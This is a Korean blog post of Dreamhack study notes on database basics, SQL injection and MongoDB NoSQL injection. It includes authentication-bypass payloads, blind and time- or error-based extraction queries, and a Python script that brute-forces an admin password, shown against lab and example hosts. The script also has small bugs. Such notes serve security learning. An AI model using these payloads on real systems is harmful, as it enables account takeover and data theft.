본문 바로가기

Security Study/Web

[Dreamhack] SQL Injection

Background: Relational DBMS

1. DataBase Management System

1.1. 데이터베이스 관리 시스템

웹 서비스는 데이터베이스에 정보를 저장하고 관리하기 위해 DBMS(DataBase Management System)을 사용

데이터베이스에 새로운 정보를 기록하거나, 기록된 내용을 수정, 삭제하는 역할을 함

  • 다수의 사람이 동시에 데이터베이스에 접근할 수 있음
  • 웹 서비스의 검색 기능과 같이 복잡한 요구사항을 만족하는 데이터를 조회할 수 있음

DBMS 종류

종류 대표적인 DBMS

Relational (관계형) MySQL, MariaDB, PostgreSQL, SQLite
Non-Relational (비관계형) MongoDB, CouchDB, Redis
  • 관계형은 행과 열의 집합인 테이블의 형식으로 데이터를 저장
  • 비관계형은 테이블 형식이 아닌 키-값(Key-Value) 형태로 값을 저장

2. Relational DBMS

2.1. Relational DBMS

1970년에 Codds가 12가지 규칙을 정의하여 생성한 데이터베이스 모델

  • 행과 열의 집합으로 구성된 테이블의 묶음 형식으로 데이터를 관리
  • 테이블 형식의 데이터를 조작할 수 있는 관계 연산자를 제공
  • Codds는 12가지 규칙을 정의했지만, 실제로 구현된 RDBMS는 12가지 규칙을 모두 따르지 않고, 최소한의 조건으로 앞의 두 조건을 만족하는 DBMS를 RDBMS라고 부르게 됨
  • 관계 연산자는 SQL(Structured Query Language)라는 쿼리 언어를 사용하고, 쿼리를 통해 테이블 형식의 데이터를 조작

2.2. SQL

RDBMS의 데이터를 정의하고 질의, 수정 등을 하기 위해 고안된 언어

  • 구조화된 형태를 가지는 언어로 웹 어플리케이션의 DBMS와 상호작용할 때 사용
DDL (Data Definition Language) 데이터를 정의하기 위한 언어. 데이터를 저장하기 위한 스키마, 데이터베이스의 생성/수정/삭제 등의 행위를 수행
DML (Data Manipulation Language) 데이터를 조작하기 위한 언어. 실제 데이터베이스 내에 존재하는 데이터에 대해 조회/저장/수정/삭제 등의 행위를 수행
DCL (Data Control Language) 데이터베이스의 접근 권한 등의 설정을 하기 위한 언어. 데이터베이스 내에 이용자의 권한을 부여하기 위한 GRANT와 권한을 박탈하는 REVOKE가 대표적

2.3. DDL

  • 데이터를 다루기 위해 데이터베이스와 테이블을 생성해야 하며, DDL을 사용해야 함
  • DDL의 CREATE명령을 사용해 새로운 데이터베이스 또는 테이블을 생성할 수 있음

데이터베이스 생성

CREATE DATABASE Dreamhack;
  • Dreamhack이라는 데이터베이스를 생성하는 쿼리문

테이블 생성

USE Dreamhack;
# Board 이름의 테이블 생성
CREATE TABLE Board(
	idx INT AUTO_INCREMENT,
	boardTitle VARCHAR(100) NOT NULL,
	boardContent VARCHAR(2000) NOT NULL,
	PRIMARY KEY(idx)
);
  • 앞서 생성한 데이터베이스에 Board 테이블을 생성하는 쿼리문

2.4. DML

생성된 테이블에 데이터를 추가하기 위해 DML을 사용

테이블 데이터 생성

INSERT INTO 
  Board(boardTitle, boardContent, createdDate) 
Values(
  'Hello', 
  'World !',
  Now()
);
  • Board 테이블에 데이터를 삽입하는 쿼리문

테이블 데이터 조회

SELECT 
  boardTitle, boardContent
FROM
  Board
Where
  idx=1;
  • Board 테이블의 데이터를 조회하는 쿼리문

테이블 데이터 변경

UPDATE Board SET boardContent='DreamHack!' 
  Where idx=1;
  • Board 테이블의 컬럼 값을 변경하는 쿼리문

 

ServerSide: SQL Injection

1. SQL Injection

1.1. SQL Injection

이용자가 SQL 구문에 임의 문자열을 삽입하는 행위

  • SQL은 DBMS에 데이터를 질의하는 언어
  • 웹 서비스는 이용자의 입력을 SQL 구문에 포함해 요청하는 경우가 있음

로그인 기능을 위한 쿼리

/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='dreamhack' and user_pw='password': user_id 컬럼이 dreamhack이고, user_pw 컬럼이 password인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 dreamhack이고, 비밀번호가 password인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='dreamhack' and user_pw='password'
  • 로그인 할 때 애플리케이션이 DBMS에 질의하는 예시
  • 이용자가 입력한 “dreamhack”과 “password” 문자열을 SQL 구문에 포함하는 것을 확인할 수 있음

SQL Injection으로 조작한 쿼리

/*
아래 쿼리 질의는 다음과 같은 의미를 가지고 있습니다.
- SELECT: 조회 명령어
- *: 테이블의 모든 컬럼 조회
- FROM accounts: accounts 테이블 에서 데이터를 조회할 것이라고 지정
- WHERE user_id='admin': user_id 컬럼이 admin인 데이터로 범위 지정
즉, 이를 해석하면 DBMS에 저장된 accounts 테이블에서 이용자의 아이디가 admin인 데이터를 조회
*/
SELECT * FROM accounts WHERE user_id='admin'
  • SQL Injection으로 조작한 쿼리문
  • user_pw조건문이 사라진 것을 확인할 수 있음
  • 조작한 쿼리를 통해 질의하면 DBMS는 ID가 admin인 계정의 비밀번호를 비교하지 않고 해당 계정의 정보를 반환하기 때문에 이용자는 admin 계정으로 로그인할 수 있음

1.2. Simple SQL Injection

  • SQL Injection 공격에서 제일 중요한 것은 이용자의 입력값이 SQL 구문으로 해석되도록 해야 함
  • 이용자의 입력값이 SQL 구문으로 해석되도록 하기 위해서는 ' 문자열을 입력하는 방법이 있음
SELECT * FROM user_table WHERE uid='admin' or '1' and upw='';
  • uid에 admin' or '1을 입력하고, 비밀번호를 입력하지 않았을 때 생성되는 쿼리문
  • uid가 “admin”인 데이터는 admin의 결과를 반환
  • 이전의 식이 참(True)이고, upw가 없는 경우, 아무런 결과도 반환하지 않음
  • uid가 “admin”인 데이터를 반환하므로 관리자 계정으로 로그인할 수 있음
SELECT * FROM user_table WHERE uid='admin'-- ' and upw='';
  • 이외에도 주석(--, #, /**/)을 사용하는 등 다양한 방법으로 SQL Injection을 시도할 수 있음

1.3. Blind SQL Injection

질의 결과를 이용자가 화면에서 직접 확인하지 못할 때 참/거짓 반환 결과로 데이터를 획득하는 공격 기법

  • 스무고개 게임과 유사한 방식으로 데이터를 알아낼 수 있음
  • DBMS가 답변 가능한 형태로 질문하면서 dreamhack 계정의 비밀번호인 password를 알아낼 수 있음

ascii

전달된 문자를 아스키 형태로 반환하는 함수

ascii('a')를 실행하면 ‘a’ 문자의 아스키 값인 97을 반환

substr

문자열에서 지정한 위치부터 길이까지의 값을 가져옴

substr(string, position, length)
substr('ABCD', 1, 1) = 'A'
substr('ABCD', 2, 2) = 'BC'

Blind SQL Injection 공격 쿼리

# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr(upw,2,1))=116-- ' and upw=''; # True
  • 두 번째 조건에서, upw의 첫 번째 값을 아스키 형태로 변환한 값이 114(’r’) 또는 115(’s’)인지 질의
  • 질의 결과는 로그인 성공 여부로 참/거짓을 판단할 수 있음
  • 로그인이 실패할 경우 첫 번째 문자가 ‘r’이 아님을 의미
  • 쿼리문의 반환 결과를 통해 admin 계정의 비밀번호를 획득할 수 있음

1.4. Blind SQL Injection 공격 스크립트

  • 한 바이트씩 비교하여 공격하는 방식이므로 다른 공격에 비해 많은 시간을 들여야 함
  • 공격을 자동화하는 스크립트를 작성하는 방법이 있음
  • request 모듈: 다양한 메소드를 사용해 HTTP 요청을 보낼 수 있고, 응답 또한 확인할 수 있음

requests 모듈 GET 예제 코드

import requests

url = '<https://dreamhack.io/>'

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}

params = {
    'test': 1,
}

for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, params=params)
    print(c.request.url)
    print(c.text)
  • requests 모듈을 통해 HTTP의 GET 메소드 통신을 하는 예제 코드
  • requests.get은 GET 메소드를 사용해 HTTP 요청을 보내는 함수로, URL과 Header, Parameter와 함께 요청을 전송할 수 있음

requests 모듈 POST 예제 코드

import requests

url = '<https://dreamhack.io/>'

headers = {
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'DREAMHACK_REQUEST'
}

data = {
    'test': 1,
}

for i in range(1, 5):
    c = requests.post(url + str(i), headers=headers, data=data)
    print(c.text)
  • HTTP의 POST 메소드 통신을 하는 예제 코드
  • requests.post는 POST 메소드를 사용해 HTTP 요청을 보내는 함수로, URL과 Header, Body와 함께 요청을 전송할 수 있음
  • GET, POST 메소드 이외에도 다양한 메소드를 사용해 요청을 전송할 수 있음

1.5. Blind SQL Injection 공격 스크립트 작성

  • 공격하기 앞서, 아스키 범위 중 이용자가 입력할 수 있는 모든 문자의 범위를 지정해야 함
    • 비밀번호의 경우, 알파벳과 숫자, 특수 문자로 이뤄짐
    • 이를 아스키 범위로 나타내면 32부터 126까지의 모든 문자

Blind SQL Injection 공격 스크립트

#!/usr/bin/python3

import requests
import string

url = '<http://example.com/login>' # example URL

params = {
    'uid': '',
    'upw': ''
}

tc = string.ascii_letters + string.digits + string.punctuation # abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`{|}~
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''
password = ''

for idx in range(0, 20):
    for ch in tc:
        params['uid'] = query.format(idx=idx, val=ord(ch)).strip("\\n")
        c = requests.get(url, params=params)
        print(c.request.url)
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break

print(f"Password is {password}")
  • 비밀번호에 포함될 수 있는 문자를 string모듈을 사용해 생성하고, 한 바이트씩 모든 문자를 비교하는 반복문을 작성
  • 반복문 실행 중에 반환 결과가 참인 경우에 페이지에 표시되는 “Login success” 문자열을 찾고, 해당 결과를 반환한 문자를 password 변수에 저장
  • 반복문을 마치면 “admin” 계정의 비밀번호를 알아낼 수 있음
$ python3 bsqli.py
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D97--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D98--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D99--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D100--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D101--&upw=>
<http://example.com/login?uid=admin%27+and+ascii%28substr%28upw%2C0%2C1%29%29%3D102--&upw=>

 

Background: Non-Relational DBMS

1. 비관계형 데이터베이스

1.1. 비관계형 데이터베이스

  • RDBMS는 SQL을 사용해 데이터를 조회 및 추가, 삭제할 수 있음
  • NoSQL은 SQL을 사용하지 않고 복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화된 저장 공간인 것이 큰 특징
  • SQL이라는 정해진 문법을 통해 데이터를 저장하기 때문에 한 가지의 언어로 다양한 DBMS을 사용할 수 있음
  • NoSQL은 Redis, Dynamo, CouchDB, MongoDB 등 다양한 DBMS가 존재하기 때문에 각각의 구조와 사용 문법을 익혀야한다는 단점이 있음

2. MongoDB

2.1. MongoDB

JSON 형태인 도큐먼트(Document)를 저장

특징

  1. 스키마를 따로 정의하지 않아 각 콜렉션(Collection)에 대한 정의가 필요하지 않음
  2. JSON 형식으로 쿼리를 작성할 수 있음
  3. _id 필드가 Primary Key 역할을 함

MongoDB 사용 예시

$ mongo
> db.user.insert({uid: 'admin', upw: 'secretpassword'})
WriteResult({ "nInserted" : 1 })

> db.user.find({uid: 'admin'})
{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "secretpassword" }
  • MongoDB에서 데이터를 삽입하고, 조회하는 쿼리의 예시

RDBMS

SELECT * FROM inventory WHERE status = "A" and qty < 30;

MongoDB

db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )
  • 각 DBMS에서 status의 값이 “A”이고, qty의 값이 30보다 작은 데이터를 조회하는 쿼리
  • MongoDB의 경우 $문자를 통해 연산자를 사용할 수 있음

2.2. MongoDB 연산자

Comparison

Name Description
$eq 지정된 값과 같은 값을 찾음 (equal)
$in 배열 안의 값들과 일치하는 값을 찾음 (in)
$ne 지정된 값과 같지 않은 값을 찾음 (not equal)
$nin 배열 안의 값들과 일치하지 않는 값을 찾음 (not in)

Logical

Name Description
$and 논리적 AND, 각각의 쿼리를 모두 만족하는 문서가 반환
$not 쿼리 식의 효과를 반전. 쿼리 식과 일치하지 않는 문서를 반환
$nor 논리적 NOR, 각각의 쿼리를 모두 만족하지 않는 문서가 반환
$or 논리적 OR, 각각의 쿼리 중 하나 이상 만족하는 문서가 반환

Element

Name Description
$exists 지정된 필드가 있는 문서를 찾음
$type 지정된 필드가 지정된 유형인 문서를 선택

Evaluation

Name Description
$expr 쿼리 언어 내에서 집계 식을 사용할 수 있음
$regex 지정된 정규식과 일치하는 문서를 선택
$text 지정된 텍스트를 검색

2.3. 기본 문법

SELECT

SQL

SELECT * FROM account;
SELECT * FROM account WHERE user_id="admin";
SELECT user_idx FROM account WHERE user_id="admin";

MongoDB

db.account.find()
db.account.find(
{user_id: "admin"}
)
db.account.find(
{ user_id: "admin" },
{ user_idx:1, _id:0 }
)

INSERT

SQL

INSERT INTO account(
user_id,
user_pw,
) VALUES ("guest", "guest");

MongoDB

db.account.insert({
user_id: "guest",
user_pw: "guest"
})

DELETE

SQL

DELETE FROM account;
DELETE FROM account WHERE user_id="guest";

MongoDB

db.account.remove()
db.account.remove( {user_id: "guest"} )

UPDATE

SQL

UPDATE account SET user_id="guest2" WHERE user_idx=2;

MongoDB

db.account.update(
{user_idx: 2},
{ $set: { user_id: "guest2" } }
)

3. Redis

3.1. Redis

키-값(Key-Value)의 쌍을 가진 데이터를 저장

  • 다른 데이터베이스와 다르게 메모리 기반의 DBMS
  • 메모리를 사용해 데이터를 저장하고 접근하기 때문에, 읽고 쓰는 작업이 다른 DBMS에 비해 훨씬 빠름
  • 다양한 서비스에서 임시 데이터를 캐싱하는 용도로 주로 사용

redis 명령어 사용 예시

$ redis-cli
127.0.0.1:6379> SET test 1234 # SET key value
OK
127.0.0.1:6379> GET test # GET key
"1234"
  • Redis에서 데이터를 추가하고 조회하는 명령어의 예시

데이터 조회 및 조작 명령어

명령어 구조 설명

명령어 구조 설명
GET GET key 데이터 조회
MGET MGET key [key …] 여러 데이터를 조회
SET SET key value 새로운 대이터를 추가
MSET MSET key value [key value …] 여러 데이터를 추가
DEL DEL key [key …] 데이터 삭제
EXISTS EXISTS key [key …] 데이터 유무 확인
INCR INCR key 데이터 값에 1 더함
DECR DECR key 데이터 값에 1 뺌

관리 명령어

명령어 구조 설명

명령어 구조 설명
INFO INFO [section] DBMS 정보 조회
CONFIG GET CONFIG GET paramenter 설정 조회
CONFIG SET CONFIG SET parameter value 새로운 설정을 입력

4. CouchDB

4.1. Couch DB

MongoBD와 같이 JSON 형태인 도큐먼트를 저장

웹 기반의 DBMS로, REST API 형식으로 요청을 처리

메소드 기능 설명

POST 새로운 레코드를 추가
GET 레코드를 조회
PUT 레코드를 업데이터
DELETE 레코드를 삭제

CouchDB 레코드 업데이트 및 조회 예시

$ curl -X PUT <http://{username}:{password}@localhost:5984/users/guest> -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}

$ curl <http://{username}:{password}@localhost:5984/users/guest>
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}

4.2. 특수 구성 요소

  • CouchDB에서는 서버 또는 데이터베이스를 위해 다양한 기능을 제공
  • _문자로 시작하는 URL, 필드는 특수 구성 요소를 나타냄

SERVER

요소 설명

/ 인스턴스에 대한 메타 정보를 반환
/_all_dbs 인스턴스의 데이터베이스 목록을 반환
/_utils 관리자페이지로 이동

Database

요소 설명

/db 지정된 데이터베이스에 대한 정보를 반환
/{db}/_all_docs 지정된 데이터베이스에 포함된 모든 도큐먼트를 반환
/{db}/_find 지정된 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트를 반환

 

ServerSide: NoSQL Injection

1. NoSQL Injection

1.1. NoSQL Injection

  • SQL Injection과 공격 목적 및 방법이 매우 유사
  • 이용자의 입력값이 쿼리에 포함되면서 발생하는 문제점
  • MongoDB의 NoSQL Injection 취약점은 주로 이용자의 입력값에 대한 타입 검증이 불충분할 때 발생
  • MongoDB는 데이터 자료형으로 문자열, 정수, 날짜, 실수 외에도 오브젝트, 배열 타입을 사용할 수 있음
  • 오브젝트 타입의 입력값을 처리할 때에는 쿼리 연산자를 사용할 수 있고, 다양한 행위가 가능

express 데이터 처리 방식

const express = require('express');
const app = express();
app.get('/', function(req,res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});
  • NodeJS의 Express 프레임워크로 개발된 예제 코드
  • 이용자의 입력값과 타입을 출력하는데, req.query의 타입이 문자열로 지정되어 있지 않기 때문에 문자열 외의 타입이 입력될 수 있음

실행 결과

<http://localhost:3000/?data=1234>
data: 1234
type: string

<http://localhost:3000/?data[]=1234>
data: [ '1234' ]
type: object

<http://localhost:3000/?data[]=1234&data[]=5678>
data: [ '1234', '5678' ] 
type: object

<http://localhost:3000/?data[5678]=1234>
data: { '5678': '1234' } 
type: object

<http://localhost:3000/?data[5678]=1234&data=0000>
data: { '5678': '1234', '0000': true } 
type: object

<http://localhost:3000/?data[5678]=1234&data[]=0000>
data: { '0': '0000', '5678': '1234' } 
type: object

<http://localhost:3000/?data[5678]=1234&data[1111]=0000>
data: { '1111': '0000', '5678': '1234' } 
type: object
  • 각각의 타입을 입력
  • 일반적인 문자열 외에 오브젝트 타입을 삽입할 수 있는 것을 확인할 수 있음

1.2. NoSQL Injection 예시

  • MongoDB는 문자열이 아닌 타입의 값을 입력할 수 있고, 이를 통해 연산자를 사용할 수 있음

MongoDB NoSQL Injection Example

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.query.uid,
        'upw': req.query.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});
  • user 콜렉션에서 이용자가 입력한 uid와 upw에 해당하는 데이터를 찾고 출력하는 예제 코드
  • 이용자의 입력값에 대해 타입을 검증하지 않기 때문에 오브젝트 타입의 값을 입력할 수 있음
  • 오브젝트 타입의 값을 입력할 수 있다면 연산자를 사용할 수 있음
  • $ne연산자는 not equl의 약자로, 입력한 데이터와 일치하지 않은 데이터를 반환
  • 공격자는 계정 정보를 모르더라도 다음과 같이 입력해 해당 정보를 알아낼 수 있음

연산자를 사용해 계정 정보를 알아낸 모습

<http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a>
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
  • $ne연산자를 사용해 uid와 upw가 ‘a’가 아닌 데이터를 조회하는 공격 쿼리와 실행 결과

1.3. NoSQL Injection 실습

모듈 구성 코드

const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));

const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });

app.post('/query', function(req,res) {
    db.collection('user').find({
        'uid': req.body.uid,
        'upw': req.body.upw
    }).toArray(function(err, result) {
        if (err) throw err;
        res.send(result);
  });
});

const server = app.listen(80, function(){
    console.log('app.listen');
});
  • 입력한 값이 해당할 경우 해당 데이터를 출력
  • “admin” 계정의 비밀번호 획득
    • upw에 not equl($ne) 연산자를 이용하여 upw값에 상관없이 uid가 “admin”인 데이터를 조회할 수 있음
    • {"uid": "admin", "upw": {"$ne":""} }

2. Blind NoSQL Injection

2.1. Blind NoSQL Injection

  • NoSQL Injection은 인증 우회 외에도 데이터베이스의 정보를 알아낼 수 있음
  • Blind NoSQL Injection을 사용하여 참/거짓 결과를 통해 데이터베이스 정보를 알아낼 수 있음
  • MongoDB에서는 $regex, $where연산자를 사용해 Blind NoSQL Injection을 할 수 있음

Name Description

$expr 쿼리 언어 내에서 집계 식을 사용할 수 있음
$regex 지정된 정규식과 일치하는 문서를 선택
$text 지정된 텍스트를 검색
$where JavaScript 표현식을 만족하는 문서와 일치

$regex

정규식을 사용해 식과 일치하는 데이터를 조회

  • regex 연산자를 활용한 Blind NoSQL Injection
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({upw: {$regex: "^b"}})
> db.user.find({upw: {$regex: "^c"}})
...
> db.user.find({upw: {$regex: "^g"}})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
  • upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리의 예시

$where

표현식

  • where 연산자와 표현식
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

> db.user.find({uid:{$where:"return 1==1"}})
error: {
	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
	"code" : 17287
}
  • 해당 연산자는 field에서 사용할 수 없는 것을 확인할 수 있음
  • 인자로 전달한 Javascript 표현식을 만족하는 데이터를 조회

substring

  • where 연산자와 substring
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
...
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
  • upw의 첫 글자를 비교해 데이터를 알아내는 쿼리
  • 해당 연산자로 Javascript 표현식을 입력하면, Blind SQL Injection에서 한 글자씩 비교했던 것과 같이 데이터를 알아낼 수 있음
  • Sleep 함수를 통한 Time based Injection표현식과 함께 사용하면 지연 시간을 통해 참/거짓 결과를 확인할 수 있음
    • upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep함수를 실행하는 쿼리
  • db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`}); /* /?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1 /?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1 /?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1 ... /?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1 => 시간 지연 발생. */
  • MongoDB는 sleep함수를 제공

Error based Injection

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
	"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생

> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
  • upw의 첫 글자가 ‘g’ 문자인 경우, 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생
  • 에러를 기반으로 데이터를 알아내는 기법으로, 올바르지 않은 문법을 입력해 고의로 에러를 발생시킴

3. Blind NoSQL Injection 실습

3.1. Blind NoSQL Injection 실습

모듈 구성 코드

const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
    db.collection('user').findOne({
        'uid': req.body.uid,
        'upw': req.body.upw
    }, function(err, result){
        if (err) throw err;
        console.log(result);
        if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});
const server = app.listen(80, function(){
    console.log('app.listen');
});
  • 로그인에 성공할 경우 uid를 출력
  • “admin” 계정의 비밀번호를 획득

3.2. Blind NoSQL Injection 실습 풀이

비밀번호 길이 획득

  • 관리자 계정의 비밀번호 길이를 알아냄
  • 정규식을 사용하면 쉽게 알아낼 수 있음
{"uid": "admin", "upw": {"$regex":".{5}"}}
=> admin
{"uid": "admin", "upw": {"$regex":".{6}"}}
=> undefined
  • .{5}와 .{6}식을 통해 비밀번호의 길이를 알아낼 수 있음
  • .{5}식의 경우 uid를 반환하지만, .{6}식에서는 올바르지 않은 uid를 반환하는 것을 확인할 수 있음

비밀번호 획득

  • 비밀번호를 획득하기 위해서 $regex연산자를 사용할 수 있음
  • 정규식 중 ^는 입력의 시작부분을 나타냄
  • 해당 문자를 사용해 비밀번호를 한 글자씩 알아낼 수 있음
{"uid": "admin", "upw": {"$regex":"^a"}}
admin
{"uid": "admin", "upw": {"$regex":"^aa"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ab"}}
undefined
{"uid": "admin", "upw": {"$regex":"^ap"}}
admin
...
{"uid": "admin", "upw": {"$regex":"^apple$"}}
  • 정규식을 통해 한 글자씩 비교하는 쿼리
  • 각 식에 해당하는 반환 결과를 통해 비밀번호를 알아낼 수 있음
반응형

'Security Study > Web' 카테고리의 다른 글

[Dreamhack] File Vulnerability  (0) 2024.05.13
[Dreamhack] Command Injection  (0) 2024.04.12
[Dreamhack] Cross Site Request Forgery (CSRF)  (2) 2024.02.14
[Dreamhack] Cross-Site-Scripting (XSS)  (2) 2024.02.09
[Dreamhack] Cookie & Session  (2) 2024.02.07